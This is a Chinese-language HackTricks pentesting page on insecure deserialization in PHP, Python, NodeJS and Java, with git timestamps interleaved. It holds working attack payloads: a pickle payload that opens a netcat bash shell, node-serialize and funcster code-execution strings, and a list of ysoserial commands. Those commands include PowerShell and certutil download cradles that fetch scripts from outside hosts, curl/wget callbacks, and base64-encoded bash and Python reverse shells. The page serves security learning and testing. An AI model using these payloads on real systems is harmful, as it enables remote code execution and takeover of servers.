2023-08-03 19:12:22 +00:00
# 反序列化
2022-04-28 16:01:33 +00:00
< details >
2023-04-25 18:35:28 +00:00
< summary > < a href = "https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology" > < strong > ☁️ HackTricks Cloud ☁️< / strong > < / a > -< a href = "https://twitter.com/hacktricks_live" > < strong > 🐦 Twitter 🐦< / strong > < / a > - < a href = "https://www.twitch.tv/hacktricks_live/schedule" > < strong > 🎙️ Twitch 🎙️< / strong > < / a > - < a href = "https://www.youtube.com/@hacktricks_LIVE" > < strong > 🎥 Youtube 🎥< / strong > < / a > < / summary >
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
* 你在一家**网络安全公司**工作吗? 你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组** ](https://discord.gg/hRep4RUj7f ) 或 [**telegram群组** ](https://t.me/peass ) 或 **关注**我在**Twitter**上的[** 🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo** ](https://github.com/carlospolop/hacktricks-cloud ) **提交PR来分享你的黑客技巧。**
2022-04-28 16:01:33 +00:00
< / details >
2023-08-03 19:12:22 +00:00
**序列化**是将某个对象转换为可以在以后恢复的数据格式的过程。人们通常对对象进行序列化以便将其保存到存储中,或作为通信的一部分发送。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
**反序列化**是该过程的逆过程, 它将从某种格式中结构化的数据重建为对象。如今, 最流行的用于序列化数据的数据格式是JSON。在此之前, 是XML。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
在许多情况下,您可以在服务器端找到一些代码,该代码对用户提供的某个对象进行反序列化。\
在这种情况下,您可以发送恶意有效负载以使服务器端表现出意外行为。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
**您应该阅读:**[**https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html)**以了解如何进行攻击。**
2020-07-15 15:43:14 +00:00
2022-05-16 08:29:00 +00:00
## PHP
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
与序列化一起使用的魔术方法:
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
* `__sleep` 在对象被序列化时调用,必须返回数组
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
与反序列化一起使用的魔术方法:
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
* `__wakeup` 在对象被反序列化时调用。
* 如果存在,将调用`__unserialize`而不是`__wakeup`。
* `__destruct` 在PHP脚本结束和对象被销毁时调用。
* `__toString` 将对象用作字符串,但也可以根据其中的函数调用来读取文件或执行其他操作。
2020-07-15 15:43:14 +00:00
```php
< ?php
class test {
2023-08-03 19:12:22 +00:00
public $s = "This is a test";
public function displaystring(){
echo $this->s.'< br / > ';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
2020-07-15 15:43:14 +00:00
}
$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();
/*
php > $o = new test();
2023-03-20 09:22:01 +00:00
__construct method called
__destruct method called
2020-07-15 15:43:14 +00:00
php > $o->displaystring();
This is a test< br / >
2023-03-20 09:22:01 +00:00
2020-07-15 15:43:14 +00:00
php > $ser=serialize($o);
__sleep method called
2023-03-20 09:22:01 +00:00
2020-07-15 15:43:14 +00:00
php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}
2023-03-20 09:22:01 +00:00
2020-07-15 15:43:14 +00:00
php > $unser=unserialize($ser);
2023-03-20 09:22:01 +00:00
__wakeup method called
__destruct method called
2020-07-15 15:43:14 +00:00
php > $unser->displaystring();
This is a test< br / >
*/
?>
```
2023-08-03 19:12:22 +00:00
如果你查看结果,你会发现在对象反序列化时会调用**`__wakeup`**和**`__destruct`**函数。请注意,在一些教程中,你会发现在尝试打印某个属性时会调用**`__toString`**函数,但显然这种情况**不再发生**。
2023-03-20 09:22:01 +00:00
{% hint style="warning" %}
2023-08-03 19:12:22 +00:00
如果在类中实现了方法**`__unserialize(array $data)`**,则会调用该方法**而不是`__wakeup()`**。它允许你通过将序列化数据作为数组提供来反序列化对象。你可以使用此方法来反序列化属性并执行任何必要的任务。
2023-03-20 09:22:01 +00:00
```php
phpCopy codeclass MyClass {
2023-08-03 19:12:22 +00:00
private $property;
2023-03-20 09:22:01 +00:00
2023-08-03 19:12:22 +00:00
public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
2023-03-20 09:22:01 +00:00
}
```
{% endhint %}
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
您可以在此处阅读一个解释性的**PHP示例**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/),这里是[https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf),或者这里是[https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
### PHP反序列化 + 自动加载类
2023-03-23 15:12:27 +00:00
2023-08-03 19:12:22 +00:00
您可以滥用PHP的自动加载功能来加载任意的php文件和更多内容:
2023-03-23 15:12:27 +00:00
{% content-ref url="php-deserialization-+-autoload-classes.md" %}
[php-deserialization-+-autoload-classes.md ](php-deserialization-+-autoload-classes.md )
{% endcontent-ref %}
2023-08-03 19:12:22 +00:00
### 序列化引用值
2021-10-20 23:25:53 +00:00
2023-08-03 19:12:22 +00:00
如果出于某种原因,您想将一个值序列化为对另一个值的引用,您可以:
2021-10-20 23:25:53 +00:00
```php
< ?php
class AClass {
2023-08-03 19:12:22 +00:00
public $param1;
public $param2;
2021-10-20 23:25:53 +00:00
}
$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);
```
2023-08-03 19:12:22 +00:00
### PHPGGC (PHP的ysoserial)
2021-10-20 23:25:53 +00:00
2023-08-03 19:12:22 +00:00
[**PHPGCC** ](https://github.com/ambionics/phpggc )可以帮助您生成用于滥用PHP反序列化的有效载荷。\
请注意,在某些情况下,您**可能无法在应用程序的源代码中找到滥用反序列化的方法**,但您可能能够**滥用外部PHP扩展的代码**。\
因此,如果可以的话,请检查服务器的`phpinfo()`并在互联网上搜索(甚至在**PHPGCC的gadgets**中) 一些可能滥用的gadget。
2021-04-17 14:24:36 +00:00
2023-08-03 19:12:22 +00:00
### phar://元数据反序列化
2021-04-17 14:24:36 +00:00
2023-08-03 19:12:22 +00:00
如果您找到的LFI只是读取文件而不执行其中的php代码, 例如使用函数如_**file\_get\_contents(), fopen(), file()或file\_exists(), md5\_file(), filemtime()或filesize()**_**。** 您可以尝试滥用使用**phar**协议读取文件时发生的**反序列化**。\
有关更多信息,请阅读以下文章:
2021-03-19 23:11:18 +00:00
2021-10-18 11:21:18 +00:00
{% content-ref url="../file-inclusion/phar-deserialization.md" %}
[phar-deserialization.md ](../file-inclusion/phar-deserialization.md )
{% endcontent-ref %}
2021-03-19 23:11:18 +00:00
2022-05-16 08:29:00 +00:00
## Python
2020-07-15 15:43:14 +00:00
2022-05-16 08:29:00 +00:00
### **Pickle**
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
当对象被反pickle时, 将执行函数_\_\_reduce\_\__。\
当被利用时,服务器可能会返回错误。
2020-07-15 15:43:14 +00:00
```python
2020-12-23 13:18:18 +00:00
import pickle, os, base64
2020-07-15 15:43:14 +00:00
class P(object):
2023-08-03 19:12:22 +00:00
def __reduce__ (self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
2020-12-23 13:18:18 +00:00
print(base64.b64encode(pickle.dumps(P())))
2020-07-15 15:43:14 +00:00
```
2023-08-03 19:12:22 +00:00
有关逃逸**pickle jails**的更多信息,请查看:
2021-02-05 00:36:31 +00:00
2022-05-16 08:29:00 +00:00
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
[bypass-python-sandboxes ](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/ )
2021-10-18 11:21:18 +00:00
{% endcontent-ref %}
2021-02-05 00:36:31 +00:00
2022-05-16 08:29:00 +00:00
### Yaml **&** jsonpickle
2021-11-17 20:11:22 +00:00
2023-08-03 19:12:22 +00:00
以下页面介绍了滥用Python库中的不安全反序列化的技术, 并提供了一个工具, 用于生成**Pickle、PyYAML、jsonpickle和ruamel.yaml**的RCE反序列化有效负载:
2021-11-17 20:11:22 +00:00
{% content-ref url="python-yaml-deserialization.md" %}
[python-yaml-deserialization.md ](python-yaml-deserialization.md )
{% endcontent-ref %}
2023-08-03 19:12:22 +00:00
### 类污染( Python原型污染)
2023-01-06 00:33:59 +00:00
{% content-ref url="../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md" %}
[class-pollution-pythons-prototype-pollution.md ](../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md )
{% endcontent-ref %}
2022-05-16 08:29:00 +00:00
## NodeJS
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
### JS魔术函数
2022-08-10 23:00:19 +00:00
2023-08-03 19:12:22 +00:00
JS **没有像PHP或Python那样的"魔术"函数** ,这些函数将在创建对象时执行。但它有一些**经常被使用的函数**,即使没有直接调用,比如**`toString`**、**`valueOf`**、**`toJSON`**。\
如果滥用反序列化,您可以**破坏这些函数以执行其他代码**(潜在地滥用原型污染),当调用它们时,您可以执行任意代码。
2022-08-10 23:00:19 +00:00
2023-08-03 19:12:22 +00:00
另一种**"魔术"调用函数的方式**是通过**破坏由异步函数返回的对象**( promise) 。因为, 如果您将该**返回对象**转换为另一个具有名为**"then"的类型为函数的属性**的**promise**,它将被**执行**, 因为它是由另一个promise返回的。_请点击_ [_**此链接**_ ](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/ ) _获取更多信息。_
2022-08-10 23:00:19 +00:00
```javascript
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
2023-08-03 19:12:22 +00:00
const p = new Promise(resolve => {
console.log('hello')
resolve()
})
return p
2022-08-10 23:00:19 +00:00
}
async function test_then() {
2023-08-03 19:12:22 +00:00
const p = new Promise(then => {
console.log('hello')
return 1
})
return p
2022-08-10 23:00:19 +00:00
}
test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
```
2023-08-03 19:12:22 +00:00
### `__proto__`和`prototype`污染
2022-08-10 23:00:19 +00:00
2023-08-03 19:12:22 +00:00
如果你想了解这个技术,请参考以下教程:
2020-11-26 13:46:19 +00:00
2021-10-22 10:16:40 +00:00
{% content-ref url="nodejs-proto-prototype-pollution/" %}
[nodejs-proto-prototype-pollution ](nodejs-proto-prototype-pollution/ )
2021-10-18 11:21:18 +00:00
{% endcontent-ref %}
2020-11-26 13:46:19 +00:00
2022-05-16 08:29:00 +00:00
### [node-serialize](https://www.npmjs.com/package/node-serialize)
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
这个库允许对函数进行序列化。示例:
2020-07-15 15:43:14 +00:00
```javascript
var y = {
2023-08-03 19:12:22 +00:00
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
2020-07-15 15:43:14 +00:00
}
var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized);
```
2023-08-03 19:12:22 +00:00
**序列化对象**的样子如下所示:
2020-07-15 15:43:14 +00:00
```bash
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
```
2023-08-03 19:12:22 +00:00
你可以在示例中看到,当一个函数被序列化时,`_$$ND_FUNC$$_`标志会附加到序列化对象上。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
在文件`node-serialize/lib/serialize.js`中,你可以找到相同的标志以及代码如何使用它。
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
![](< .. / . . / . gitbook / assets / image ( 297 ) . png > )
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
![](< .. / . . / . gitbook / assets / image ( 298 ) . png > )
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
正如你在最后一段代码中所看到的,**如果找到了标志**,则使用`eval`来反序列化函数,所以基本上**用户输入被用在`eval`函数内**。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
然而,**仅仅序列化**一个函数**不会执行它**,因为需要代码的某个部分**调用`y.rce`**,这是非常**不可能**的。\
无论如何,你可以**修改序列化对象**,在对象反序列化时添加一些括号,以便自动执行序列化的函数。\
在下一段代码中,**请注意最后的括号**以及`unserialize`函数将自动执行代码:
2020-07-15 15:43:14 +00:00
```javascript
var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);
```
2023-08-03 19:12:22 +00:00
如前所述,该库将在`_$$ND_FUNC$$_`之后获取代码,并使用`eval`来**执行它**。因此,为了**自动执行代码**,您可以**删除函数创建**部分和最后一个括号,然后**只需执行一个JS一行代码**,就像下面的示例一样:
2020-07-15 15:43:14 +00:00
```javascript
var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test);
```
2023-08-03 19:12:22 +00:00
你可以在[**这里**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/)找到有关如何利用此漏洞的更多信息。
2020-07-15 15:43:14 +00:00
2022-05-16 08:29:00 +00:00
### [funcster](https://www.npmjs.com/package/funcster)
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
有趣的区别在于**标准内置对象是不可访问的**,因为它们超出了范围。这意味着我们可以执行我们的代码,但不能调用内置对象的方法。因此,如果我们使用`console.log()`或`require(something)`, Node会返回一个异常, 如`"ReferenceError: console is not defined"`。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
然而,我们仍然可以轻松地重新获得对所有内容的访问权限,因为我们仍然可以使用类似`this.constructor.constructor("console.log(1111)")();`的方式访问全局上下文:
2020-07-15 15:43:14 +00:00
```javascript
funcster = require("funcster");
//Serialization
var test = funcster.serialize(function() { return "Hello world!" })
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }
//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3)
```
2023-08-03 19:12:22 +00:00
**更多信息请阅读[此页面](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)。**
2020-07-15 15:43:14 +00:00
2022-05-16 08:29:00 +00:00
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
该软件包**不包含任何反序列化功能**,需要您自己实现。他们的示例直接使用了`eval`。这是官方的反序列化示例:
2020-07-15 15:43:14 +00:00
```javascript
function deserialize(serializedJavascript){
2023-08-03 19:12:22 +00:00
return eval('(' + serializedJavascript + ')');
2020-07-15 15:43:14 +00:00
}
```
2023-08-03 19:12:22 +00:00
如果这个函数被用来反序列化对象,你可以**轻松地利用它**:
2020-07-15 15:43:14 +00:00
```javascript
var serialize = require('serialize-javascript');
//Serialization
var test = serialize(function() { return "Hello world!" });
console.log(test) //function() { return "Hello world!" }
//Deserialization
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)
```
2023-08-03 19:12:22 +00:00
### Cryo库
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
在以下页面中,您可以找到有关如何滥用此库以执行任意命令的信息:
2020-07-15 15:43:14 +00:00
2020-11-26 13:58:00 +00:00
* [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/ ](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/ )
* [https://hackerone.com/reports/350418 ](https://hackerone.com/reports/350418 )
2020-07-15 15:43:14 +00:00
2022-05-16 08:29:00 +00:00
## Java - HTTP
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
Java中反序列化对象的主要问题是在反序列化过程中调用了**反序列化回调函数**。这使得**攻击者**能够**利用这些回调函数**并准备一个滥用回调函数以**执行恶意操作**的有效负载。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
### 指纹
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
#### 白盒
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
在代码中搜索序列化类和函数。例如,搜索实现`Serializable`接口的类,使用`java.io.ObjectInputStream`的`readObject`或`readUnshare`函数。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
您还应该注意以下内容:
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
* 具有外部用户定义参数的`XMLdecoder`
* 具有`fromXML`方法的`XStream`( xstream版本< = v1.46易受序列化问题影响)
* 具有`readObject`的`ObjectInputStream`
* 使用`readObject`, `readObjectNodData`, `readResolve`或`readExternal`
2020-07-15 15:43:14 +00:00
* `ObjectInputStream.readUnshared`
* `Serializable`
2023-08-03 19:12:22 +00:00
#### 黑盒
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
**Java序列化**对象的**指纹/魔术字节**(来自`ObjectInputStream`) :
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
* 十六进制中的`AC ED 00 05`
* Base64中的`rO0`
* HTTP响应的`Content-type`头设置为`application/x-java-serialized-object`
* 先前压缩的十六进制中的`1F 8B 08 00`
* 先前压缩的Base64中的`H4sIA`
* 扩展名为`.faces`和`faces.ViewState`参数的Web文件。如果在Web应用程序中找到这个, 请查看有关[**Java JSF VewState Deserialization**](java-jsf-viewstate-.faces-deserialization.md)的文章。
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
```
2023-08-03 19:12:22 +00:00
### 检查是否存在漏洞
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
如果你想了解**Java反序列化漏洞的工作原理**,你应该查看[**基本的Java反序列化**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS反序列化**](java-dns-deserialization-and-gadgetprobe.md),和[**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md)。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
#### 白盒测试
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
你可以检查是否安装了任何已知漏洞的应用程序。
2020-07-15 15:43:14 +00:00
```bash
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
```
2023-08-03 19:12:22 +00:00
你可以尝试**检查所有已知存在漏洞的库**,并使用[Ysoserial](https://github.com/frohoff/ysoserial)提供的漏洞利用来进行攻击。或者你可以检查[Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json)上指定的库。\
你还可以使用[gadgetinspector](https://github.com/JackOfMostTrades/gadgetinspector)来搜索可能被利用的gadget链。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
运行**gadgetinspector**(构建后)时,不要担心它经历的大量警告/错误, 并让它完成。它将在_gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_下写入所有发现的内容。请注意, **gadgetinspector不会创建漏洞利用, 并且可能会指示出误报**。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
#### 黑盒测试
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
使用Burp扩展程序[gadgetprobe](java-dns-deserialization-and-gadgetprobe.md),您可以确定**可用的库**(甚至版本)。有了这些信息,选择一个有效载荷来利用漏洞可能会更容易。\
[**阅读此处以了解有关GadgetProbe的更多信息** ](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe )**。**\
GadgetProbe专注于**`ObjectInputStream`**反序列化。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
使用Burp扩展程序[Java Deserialization Scanner](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner),您可以**识别可利用ysoserial进行攻击的易受攻击的库**。\
[**阅读此处以了解有关Java Deserialization Scanner的更多信息。** ](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner )\
Java Deserialization Scanner专注于**`ObjectInputStream`**反序列化。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
您还可以使用[Freddy](https://github.com/nccgroup/freddy)在Burp中**检测反序列化**漏洞。该插件将检测与**不仅`ObjectInputStream`相关的漏洞**,还有与**Json**和**Yml**反序列化库相关的漏洞。在主动模式下, 它将尝试使用sleep或DNS有效载荷来确认漏洞。\
[**您可以在此处找到有关Freddy的更多信息。** ](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/ )
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
**序列化测试**
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
并不仅仅是检查服务器是否使用了任何易受攻击的库。有时,您可以**更改序列化对象中的数据并绕过某些检查**( 例如, 在Web应用程序中授予管理员权限) 。\
如果您发现一个Java序列化对象被发送到Web应用程序, **您可以使用SerializationDumper来以更易读的格式打印发送的序列化对象**。了解您发送的数据将更容易修改它并绕过某些检查。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
### **利用**
2020-07-15 15:43:14 +00:00
2022-05-16 08:29:00 +00:00
#### **ysoserial**
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
最著名的利用Java反序列化的工具是[ysoserial](https://github.com/frohoff/ysoserial)( [在此下载](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar))。您还可以考虑使用[ysoseral-modified](https://github.com/pimps/ysoserial-modified),它允许您使用复杂的命令(例如使用管道)。\
请注意,此工具**专注于利用`ObjectInputStream`**。\
我建议您在使用RCE有效载荷之前, 先使用"URLDNS"有效载荷来测试是否可能进行注入。无论如何,请注意可能"URLDNS"有效载荷不起作用, 但其他RCE有效载荷可能起作用。
2020-07-15 15:43:14 +00:00
```bash
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
# PoC RCE in Windows
2022-05-01 12:41:36 +00:00
# Ping
2020-07-15 15:43:14 +00:00
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
2022-05-01 12:41:36 +00:00
# Time, I noticed the response too longer when this was used
2020-07-15 15:43:14 +00:00
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
2022-05-01 12:41:36 +00:00
# Create File
2020-07-15 15:43:14 +00:00
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
2022-05-01 12:41:36 +00:00
# DNS request
2020-07-15 15:43:14 +00:00
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
2022-05-01 12:41:36 +00:00
# HTTP request (+DNS)
2020-07-15 15:43:14 +00:00
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
2022-05-01 12:41:36 +00:00
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
2020-07-15 15:43:14 +00:00
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"
#PoC RCE in Linux
2022-05-01 12:41:36 +00:00
# Ping
2023-08-03 19:12:22 +00:00
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
2022-05-01 12:41:36 +00:00
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
2020-07-15 15:43:14 +00:00
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
2022-05-01 12:41:36 +00:00
# DNS request
2020-07-15 15:43:14 +00:00
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
2022-05-01 12:41:36 +00:00
# HTTP request (+DNS)
2020-07-15 15:43:14 +00:00
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
2022-05-01 12:41:36 +00:00
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
2020-07-15 15:43:14 +00:00
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
2022-05-01 12:41:36 +00:00
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
2020-07-15 15:43:14 +00:00
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
2023-08-03 19:12:22 +00:00
# 将负载以base64编码
base64 -w0 负载
